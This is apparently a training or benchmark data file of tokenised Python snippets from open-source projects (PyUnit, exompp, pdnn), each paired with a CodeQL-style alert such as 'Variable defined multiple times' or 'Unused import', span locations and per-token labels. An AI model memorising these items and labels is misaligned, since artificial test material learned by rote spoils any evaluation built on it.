";", "change", "s", " ", "affect", "ed", " ", "so", " ", "many", " ", "classe", "s", " ", "tha", "t", " ", "it", " ", "was", " ", "easi", "er", " ", "just", " ", "to", " ", "hack", " ", "it", ".", "\\", "10", ";", "\\", "10", ";", "The", " ", "change", "s", " ", "are", " ", "in", " ", "the", " ", "follow", "ing", " ", "place", "s", ":", "\\", "10", ";", "Test", "Case", ":", "\\", "10", ";", " ", " ", " ", "-", " ", "mino", "r", " ", "refactor", "ing", " ", "of", " ", " ", "\\u\\u", "init", "\\u\\u", " ", "and", " ", "\\u\\u", "call", "\\u\\u", " ", "internals", "\\", "10", ";", " ", " ", " ", "-", " ", "adde", "d", " ", "some", " ", "attribute", "s", " ", "and", " ", "method", "s", " ", "for", " ", "stor", "ing", " ", "and", " ", "retrie", "ving", " ", "meta", " ", "data", "\\", "10", ";", "\\", "10", ";", "\\u", "Text", "Test", "Result", "\\", "10", ";", " ", " ", " ", "-", " ", "refactor", "ed", " ", "the", " ", "stream", " ", "handling", "\\", "10", ";", " ", " ", " ", "-", " ", "inco", "rpor", "ated", " ", "all", " ", "the", " ", "output", " ", "code", " ", "from", " ", "Text", "Test", "Run", "ner", "\\", "10", ";", " ", " ", " ", "-", " ", "made", " ", "the", " ", "output", " ", "of", " ", "FAIL", " ", "and", " ", "ERROR", " ", "informati", "on", " ", "more", " ", "flexib", "le", " ", "and", "\\", "10", ";", " ", "inco", "rpor", "ated", " ", "the", " ", "new", " ", "meta", " ", "data", " ", "from", " ", "Test", "Case", "\\", "10", ";", " ", " ", " ", "-", " ", "adde", "d", " ", "a", " ", "flag", " ", "call", "ed", " ", "'", "explain", "'", " ", "to", " ", "\\u\\u", "init", "\\u\\u", " ", "tha", "t", " ", "controls", " ", "whe", "ther", " ", "the", " ", "new", " ", "'", "\\", "10", ";", " ", "expl", "anat", "ion", "'", " ", " ", " ", "meta", " ", "data", " ", "from", " ", "Test", "Case", " ", "is", " ", "printed", " ", "along", " ", "with", " ", "traceback", "s", "\\", "10", ";", " ", " ", " ", "\\", "10", ";", "Text", "Test", "Run", "ner", "\\", "10", ";", " ", " ", " ", "-", " ", "delegate", "d", " ", "all", " ", "output", " ", "to", " ", "\\u", "Text", "Test", "Result", "\\", "10", ";", " ", " ", " ", "-", " ", "adde", "d", " ", "'", "err", "'", " ", "and", " ", "'", "explain", "'", " ", "to", " ", "the", " ", "\\u\\u", "init", "\\u\\u", " ", "signa", "ture", " ", "to", " ", "match", " ", "the", " ", "change", "s", "\\", "10", ";", " ", "in", " ", "\\u", "Text", "Test", "Result", "\\", "10", ";", " ", " ", " ", "\\", "10", ";", "Test", "Program", "\\", "10", ";", " ", " ", " ", "-", " ", "adde", "d", " ", "-", "e", " ", "and", " ", "--", "explain", " ", "as", " ", "flags", " ", "on", " ", "the", " ", "command", " ", "line", "\\", "10", ";", "\\", "10", ";", "--", " ", "Ta", "vis", " ", "Ru", "dd", " ", "<", "tav", "is", "@", "redo", "nio", "ns", ".", "net", ">", " ", "(", "Sept", " ", "2", "8", "th", ",", " ", "200", "1", ")", "\\", "10", ";", "\\", "10", ";", "-", " ", "\\u", "Test", "Text", "Result", ".", "print", "Error", "List", "():", " ", "print", " ", "blank", " ", "line", " ", "after", " ", "each", " ", "traceback", "\\", "10", ";", "\\", "10", ";", "--", " ", "Mik", "e", " ", "Or", "r", " ", "<", "mso", "@", "oz", ".", "net", ">", " ", "(", "Nov", " ", "11", ",", " ", "2002", ")", "\\", "10", ";", "\\", "10", ";", "Test", "Case", " ", "method", "s", " ", "copie", "d", " ", "from", " ", "unittest", " ", "in", " ", "Pyth", "on", " ", "2.3", ":", "\\", "10", ";", " ", " ", "-", " ", ".", "assert", "Al", "most", "Equal", "(", "first", ",", " ", "second", ",", " ", "place", "s", "=", "7", ",", " ", "msg", "=", "Non", "e", "):", " ", "to", " ", "N", " ", "decima", "l", " ", "place", "s", ".", "\\", "10", ";", " ", " ", "-", " ", ".", "fail", "If", "Al", "most", "Equal", "(", "first", ",", " ", "second", ",", " ", "place", "s", "=", "7", ",", " ", "msg", "=", "Non", "e", ")", "\\", "10", ";", "\\", "10", ";", "--", " ", "Mik", "e", " ", "Or", "r", " ", "(", "Jan", " ", "5", ",", " ", "2004", ")", "\\", "10", ";", "\\", "10", ";", "\\", "10", ";", "Below", " ", "is", " ", "the", " ", "original", " ", "docstr", "ing", " ", "for", " ", "unittest", ".", "\\", "10", ";", "--------------", "--------------", "--------------", "--------------", "--------------", "-----", "\\", "10", ";", "Pyth", "on", " ", "unit", " ", "testi", "ng", " ", "frame", "work", ",", " ", "based", " ", "on", " ", "Eri", "ch", " ", "Gamma", "'", "s", " ", "JU", "nit", " ", "and", " ", "Ken", "t", " ", "Be", "ck", "'", "s", "\\", "10", ";", "Small", "talk", " ", "testi", "ng", " ", "frame", "work", ".", "\\", "10", ";", "\\", "10", ";", "Thi", "s", " ", "module", " ", "contain", "s", " ", "the", " ", "core", " ", "frame", "work", " ", "classe", "s", " ", "tha", "t", " ", "form", " ", "the", " ", "basi", "s", " ", "of", "\\", "10", ";", "specific", " ", "test", " ", "case", "s", " ", "and", " ", "suites", " ", "(", "Test", "Case", ",", " ", "Test", "Suit", "e", " ", "etc", ".)", ",", " ", "and", " ", "als", "o", " ", "a", "\\", "10", ";", "text", "-", "based", " ", "utility", " ", "class", " ", "for", " ", "runn", "ing", " ", "the", " ", "tests", " ", "and", " ", "reporting", " ", "the", " ", "results", "\\", "10", ";", "(", "Text", "Test", "Run", "ner", ").", "\\", "10", ";", "\\", "10", ";", "Simple", " ", "usage", ":", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "import", " ", "unittest", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "class", " ", "Integer", "Arithm", "enti", "c", "Test", "Case", "(", "unittest", ".", "Test", "Case", "):", "\\", "10", ";", " ", " ", " ", " ", "def", " ", "test", "Add", "(", "self", "):", " ", " ", "##", " ", "test", " ", "method", " ", "names", " ", "begin", " ", "'", "test", "*'", "\\", "10", ";", " ", " ", " ", " ", "self", ".", "assert", "Equal", "s", "((", "1", " ", "+", " ", "2", "),", " ", "3", ")", "\\", "10", ";", " ", " ", " ", " ", "self", ".", "assert", "Equal", "s", "(", "0", " ", "+", " ", "1", ",", " ", "1", ")", "\\", "10", ";", " ", " ", " ", " ", "def", " ", "test", "Multiply", "(", "self", ");", "\\", "10", ";", " ", " ", " ", " ", "self", ".", "assert", "Equal", "s", "((", "0", " ", "*", " ", "10", "),", " ", "0", ")", "\\", "10", ";", " ", " ", " ", " ", "self", ".", "assert", "Equal", "s", "((", "5", " ", "*", " ", "8", "),", " ", "40", ")", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "if", " ", "\\u\\u", "name", "\\u\\u", " ", "==", " ", "'\\u", "\\u", "main", "\\u\\u'", ":", "\\", "10", ";", " ", " ", " ", " ", "unittest", ".", "main", "()", "\\", "10", ";", "\\", "10", ";", "Fur", "ther", " ", "informati", "on", " ", "is", " ", "avail", "able", " ", "in", " ", "the", " ", "bundle", "d", " ", "documentation", ",", " ", "and", " ", "from", "\\", "10", ";", "\\", "10", ";", " ", " ", "http", "://", "pyu", "nit", ".", "sourcef", "org", "e", ".", "net", "/", "\\", "10", ";", "\\", "10", ";", "Copy", "right", " ", "(", "c", ")", " ", "1999", ",", " ", "2000", ",", " ", "200", "1", " ", "Ste", "ve", " ", "Pur", "cell", "\\", "10", ";", "Thi", "s", " ", "module", " ", "is", " ", "free", " ", "software", ",", " ", "and", " ", "you", " ", "may", " ", "redis", "tribut", "e", " ", "it", " ", "and", "/", "or", " ", "modif", "y", "\\", "10", ";", "it", " ", "under", " ", "the", " ", "same", " ", "term", "s", " ", "as", " ", "Pyth", "on", " ", "its", "elf", ",", " ", "so", " ", "long", " ", "as", " ", "this", " ", "copyr", "ight", " ", "message", "\\", "10", ";", "and", " ", "discl", "aime", "r", " ", "are", " ", "retained", " ", "in", " ", "thei", "r", " ", "original", " ", "form", ".", "\\", "10", ";", "\\", "10", ";", "IN", " ", "NO", " ", "EVENT", " ", "SHA", "LL", " ", "THE", " ", "AUTHOR", " ", "BE", " ", "LI", "AB", "LE", " ", "TO", " ", "ANY", " ", "PART", "Y", " ", "FOR", " ", "DIRECT", ",", " ", "INDI", "RECT", ",", "\\", "10", ";", "SPECIAL", ",", " ", "INC", "IDENT", "AL", ",", " ", "OR", " ", "CONS", "EQU", "ENTI", "AL", " ", "DA", "MAGE", "S", " ", "ARI", "SIN", "G", " ", "OUT", " ", "OF", " ", "THE", " ", "USE", " ", "OF", "\\", "10", ";", "THIS", " ", "CODE", ",", " ", "EVE", "N", " ", "IF", " ", "THE", " ", "AUTHOR", " ", "HAS", " ", "BE", "EN", " ", "ADV", "ISE", "D", " ", "OF", " ", "THE", " ", "POS", "SIB", "ILI", "TY", " ", "OF", " ", "SUC", "H", "\\", "10", ";", "DA", "MAGE", ".", "\\", "10", ";", "\\", "10", ";", "THE", " ", "AUTHOR", " ", "SPECIFI", "CALL", "Y", " ", "DISC", "LAI", "MS", " ", "ANY", " ", "WAR", "RAN", "TIES", ",", " ", "INC", "LU", "DING", ",", " ", "BUT", " ", "NOT", "\\", "10", ";", "LIMIT", "ED", " ", "TO", ",", " ", "THE", " ", "IMPL", "IED", " ", "WAR", "RAN", "TIES", " ", "OF", " ", "MER", "CHAN", "TAB", "ILI", "TY", " ", "AND", " ", "FIT", "NESS", " ", "FOR", " ", "A", "\\", "10", ";", "PARTI", "CUL", "AR", " ", "PUR", "POS", "E", ".", " ", " ", "THE", " ", "CODE", " ", "PROVI", "DED", " ", "HER", "EU", "NDE", "R", " ", "IS", " ", "ON", " ", "AN", " ", "\"", "AS", " ", "IS", "\"", " ", "BAS", "IS", ",", "\\", "10", ";", "AND", " ", "THER", "E", " ", "IS", " ", "NO", " ", "OB", "LIG", "ATION", " ", "WH", "ATS", "OE", "VER", " ", "TO", " ", "PROVI", "DE", " ", "MAIN", "TEN", "ANCE", ",", "\\", "10", ";", "SUPPORT", ",", " ", "UPDATE", "S", ",", " ", "EN", "HAN", "CE", "MENT", "S", ",", " ", "OR", " ", "MODI", "FICATION", "S", ".", "\\", "10", ";\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u", "author\\u\\u_", "=_", "\"", "Ste", "ve", " ", "Pur", "cell", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u", "email\\u\\u_", "=_", "\"", "step", "hen", "\\u", "pur", "cell", " ", "at", " ", "ya", "hoo", " ", "dot", " ", "com", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u", "revision\\u\\u_", "=_", "\"$", "Revi", "sion", ":", " ", "1.1", " ", "$\"_", "[_", "11_", ":_", "-_", "2_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "###########", "###########", "###########", "###########", "######", "_", "\\u\\u\\uNL\\u\\u\\u_", "##", " ", "DEPENDEN", "CIE", "S", " ", "##", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "os_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "re_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "string_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "sys_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "time_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "traceback_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "types_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "pprint_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "###########", "###########", "###########", "###########", "######", "_", "\\u\\u\\uNL\\u\\u\\u_", "##", " ", "CONSTANT", "S", " ", "&", " ", "GLOB", "ALS", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "True_", ",_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Name", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "True_", ",_", "False_", "=_", "(_", "1_", "==_", "1_", ")_", ",_", "(_", "1_", "==_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "###########", "###########", "###########", "###########", "###########", "###########", "###########", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Test", " ", "frame", "work", " ", "core_", "\\u\\u\\uNL\\u\\u\\u_", "###########", "###########", "###########", "###########", "###########", "###########", "###########", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "###########", "###########", "###########", "###########", "###########", "###########", "###########", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Text", " ", "UI_", "\\u\\u\\uNL\\u\\u\\u_", "###########", "###########", "###########", "###########", "###########", "###########", "###########", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "###########", "###########", "###########", "###########", "###########", "###########", "###########", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Locat", "ing", " ", "and", " ", "load", "ing", " ", "tests_", "\\u\\u\\uNL\\u\\u\\u_", "###########", "###########", "###########", "###########", "###########", "###########", "###########", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "default", "Test", "Loader_", "=_", "Test", "Loader_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "###########", "###########", "###########", "###########", "###########", "###########", "###########", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Patche", "s", " ", "for", " ", "old", " ", "function", "s", ":", " ", "these", " ", "function", "s", " ", "shou", "ld", " ", "be", " ", "consider", "ed", " ", "obsolete", "_", "\\u\\u\\uNL\\u\\u\\u_", "###########", "###########", "###########", "###########", "###########", "###########", "###########", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "###########", "###########", "###########", "###########", "###########", "###########", "###########", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Faci", "lities", " ", "for", " ", "runn", "ing", " ", "tests", " ", "from", " ", "the", " ", "command", " ", "line_", "\\u\\u\\uNL\\u\\u\\u_", "###########", "###########", "###########", "###########", "###########", "###########", "###########", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "main_", "=_", "Test", "Program_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "###########", "###########", "###########", "###########", "###########", "###########", "###########", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Execut", "ing", " ", "this", " ", "module", " ", "from", " ", "the", " ", "command", " ", "line_", "\\u\\u\\uNL\\u\\u\\u_", "###########", "###########", "###########", "###########", "###########", "###########", "###########", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "\\u\\u", "name\\u\\u_", "==_", "\"\\u\\u", "main", "\\u\\u\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "main_", "(_", "module_", "=_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "vim", ":", " ", "shift", "widt", "h", "=", "4", " ", "tabs", "top", "=", "4", " ", "expand", "tab_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Variable defined multiple times
exosite-labs/pyexompp/exompp/xmppchat.py
[ { "content": " def dslistcallback (self, response, expected):\n #possible that the device doesn't have any datasources setup yet\n if -1 == response.find('error'): \n start = 0\n end = 1\n while -1 != start:\n end = response.find(',',start)\n dsname = response[start:end]\n start = end + 1\n end = response.find(',',start)\n self.dslist[dsname] = response[start:end]\n start = response.find('\\x0A',end)\n if -1 != start: start += 1", "metadata": "root.Exompp.dslistcallback", "header": "['class', 'Exompp', '(', ')', ':', '___NEWLINE___', '#===============================================================================', '___NL___', '#-------------------------------------------------------------------------------', '___NL___', '___EOS___']", "index": 337 } ]
[ { "span": "end ", "start_line": 341, "start_column": 6, "end_line": 341, "end_column": 9 } ]
[ { "span": "end ", "start_line": 343, "start_column": 8, "end_line": 343, "end_column": 11 } ]
1
true
[ "[CLS]_", "Variable_", "defined_", "multiple_", "times_", "[SEP]_", "class_", "Exo", "mpp", "_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "==============", "==============", "==============", "==============", "==============", "=========", "_", "\\u\\u\\uNL\\u\\u\\u_", "#-", "--------------", "--------------", "--------------", "--------------", "--------------", "--------", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "dsl", "ist", "callback_", "(_", "self_", ",_", "response_", ",_", "expected_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "possib", "le", " ", "tha", "t", " ", "the", " ", "device", " ", "doe", "sn", "'", "t", " ", "have", " ", "any", " ", "datasources", " ", "setup", " ", "ye", "t_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "-_", "1_", "==_", "response_", "._", "find_", "(_", "'", "error", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "start_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "end_", "=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "-_", "1_", "!=_", "start_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "end_", "=_", "response_", "._", "find_", "(_", "','_", ",_", "start_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dsn", "ame_", "=_", "response_", "[_", "start_", ":_", "end_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "start_", "=_", "end_", "+_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "end_", "=_", "response_", "._", "find_", "(_", "','_", ",_", "start_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "dsl", "ist_", "[_", "dsn", "ame_", "]_", "=_", "response_", "[_", "start_", ":_", "end_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "start_", "=_", "response_", "._", "find_", "(_", "'\\\\", "x0", "A", "'_", ",_", "end_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "-_", "1_", "!=_", "start_", ":_", "start_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 3, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
yajiemiao/pdnn/examples/mnist/show_results.py
[ { "content": "\nimport numpy\nimport sys\nimport os\nimport cPickle, gzip\n\npred_file = sys.argv[1]\n\nif '.gz' in pred_file:\n pred_mat = cPickle.load(gzip.open(pred_file, 'rb'))\nelse:\n pred_mat = cPickle.load(open(pred_file, 'rb'))\n\n# load the testing set to get the labels\ntest_data, test_labels = cPickle.load(gzip.open('test.pickle.gz', 'rb'))\ntest_labels = test_labels.astype(numpy.int32)\n\ncorrect_number = 0.0\nfor i in xrange(pred_mat.shape[0]):\n p = pred_mat[i, :]\n p_sorted = (-p).argsort()\n if p_sorted[0] == test_labels[i]:\n correct_number += 1\n\n# output the final error rate\nerror_rate = 100 * (1.0 - correct_number / pred_mat.shape[0])\nprint 'Error rate is ' + str(error_rate) + ' (%)'\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 } ]
[ { "span": "import os", "start_line": 3, "start_column": 0, "end_line": 3, "end_column": 9 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "numpy_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "sys_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "os_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "c", "Pickle_", ",_", "gzip_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "pred", "\\u", "file_", "=_", "sys_", "._", "argv_", "[_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "'.", "gz", "'_", "in_", "pred", "\\u", "file_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pred", "\\u", "mat_", "=_", "c", "Pickle_", "._", "load_", "(_", "gzip_", "._", "open_", "(_", "pred", "\\u", "file_", ",_", "'", "rb", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pred", "\\u", "mat_", "=_", "c", "Pickle_", "._", "load_", "(_", "open_", "(_", "pred", "\\u", "file_", ",_", "'", "rb", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "load", " ", "the", " ", "testi", "ng", " ", "set", " ", "to", " ", "get", " ", "the", " ", "labels_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "test\\u", "data_", ",_", "test\\u", "labels_", "=_", "c", "Pickle_", "._", "load_", "(_", "gzip_", "._", "open_", "(_", "'", "test", ".", "pickle", ".", "gz", "'_", ",_", "'", "rb", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "test\\u", "labels_", "=_", "test\\u", "labels_", "._", "astype_", "(_", "numpy_", "._", "int32_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "correct", "\\u", "number_", "=_", "0.0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", "in_", "xrange_", "(_", "pred", "\\u", "mat_", "._", "shape_", "[_", "0_", "]_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "p_", "=_", "pred", "\\u", "mat_", "[_", "i_", ",_", ":_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "p", "\\u", "sorted_", "=_", "(_", "-_", "p_", ")_", "._", "argsort_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "p", "\\u", "sorted_", "[_", "0_", "]_", "==_", "test\\u", "labels_", "[_", "i_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "correct", "\\u", "number_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "output", " ", "the", " ", "final", " ", "error", " ", "rate_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "error", "\\u", "rate_", "=_", "100_", "*_", "(_", "1.0_", "-_", "correct", "\\u", "number_", "/_", "pred", "\\u", "mat_", "._", "shape_", "[_", "0_", "]_", ")_", 